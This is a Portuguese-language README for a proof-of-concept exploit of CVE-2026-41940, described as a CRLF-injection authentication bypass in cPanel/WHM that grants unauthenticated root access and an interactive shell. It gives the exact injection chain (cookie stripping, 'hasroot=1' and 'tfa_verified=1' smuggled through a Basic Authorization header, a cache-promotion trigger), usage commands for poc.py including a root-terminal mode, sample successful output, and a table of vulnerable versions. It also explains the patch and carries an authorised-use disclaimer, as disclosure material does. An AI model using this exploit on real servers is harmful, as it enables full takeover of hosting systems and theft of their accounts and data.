
Prova de conceito de exploit para CVE-2026-41940, uma bypass crítica de autenticação no cPanel/WHM via injeção CRLF, permitindo acesso root não autenticado e shell interativo.
Autor: SilySec
Pesquisa original: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Severidade: Crítica (CVSS 9.8)
Tipo: Injeção CRLF → Bypass de autenticação → Shell root
CVE-2026-41940 é uma vulnerabilidade crítica no cPanel/WHM que permite a um atacante não autenticado obter acesso root completo via injeção CRLF no gerenciador de autenticação Basic do cpsrvd.
A falha combina três fraquezas:
saveSession() em Cpanel/Session.pm não sanitiza os caracteres \r\n antes da gravação em disco quando a chave <ob> está ausente do cookie.<obHEX> no cookie de sessão, o codificador por sessão não é ativado, deixando os bytes CRLF gravados em texto puro no arquivo de sessão.Cpanel::Session::Modify::save() relê o arquivo bruto e promove as chaves CRLF injetadas no cache JSON, tornando a sessão totalmente autenticada.POST /login/?login_only=1 [senha incorreta]
└─► cookie: whostmgrsession=:ID,<obHEX>
Remover ,<obHEX> → :ID [desativa o codificador]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd grava os bytes CRLF brutos no arquivo de sessão
GET /scripts2/listaccts + Cookie: :ID [sem token de segurança]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► cache JSON reconstruído com hasroot=1, tfa_verified=1
→ Sessão autenticada como root
pip install requests
# Para o modo --terminal (opcional):
pip install paramiko
python3 poc.py --target https://ALVO:2087
python3 poc.py --target https://ALVO:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.exemplo.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.exemplo.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 → leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
✔ AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host (não o IP) — o cpsrvd gerencia as sessões de forma diferente dependendo do hostname9999999999 (fixo, futuro distante) — um timestamp atual falhasuccessful_internal_auth_with_timestamp deve vir primeiroO patch move a chamada de filter_sessiondata() para dentro de saveSession() e adiciona codificação condicional quando a chave <ob> está ausente, impedindo qualquer gravação em texto puro.
Atualize o cPanel/WHM imediatamente para as versões corrigidas listadas acima.
Esta ferramenta é fornecida apenas para fins de pesquisa e teste interno. Qualquer uso em sistemas sem autorização explícita é ilegal. A SilySec se isenta de qualquer responsabilidade em caso de uso indevido.
| Branch | Última versão vulnerável | Versão corrigida |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |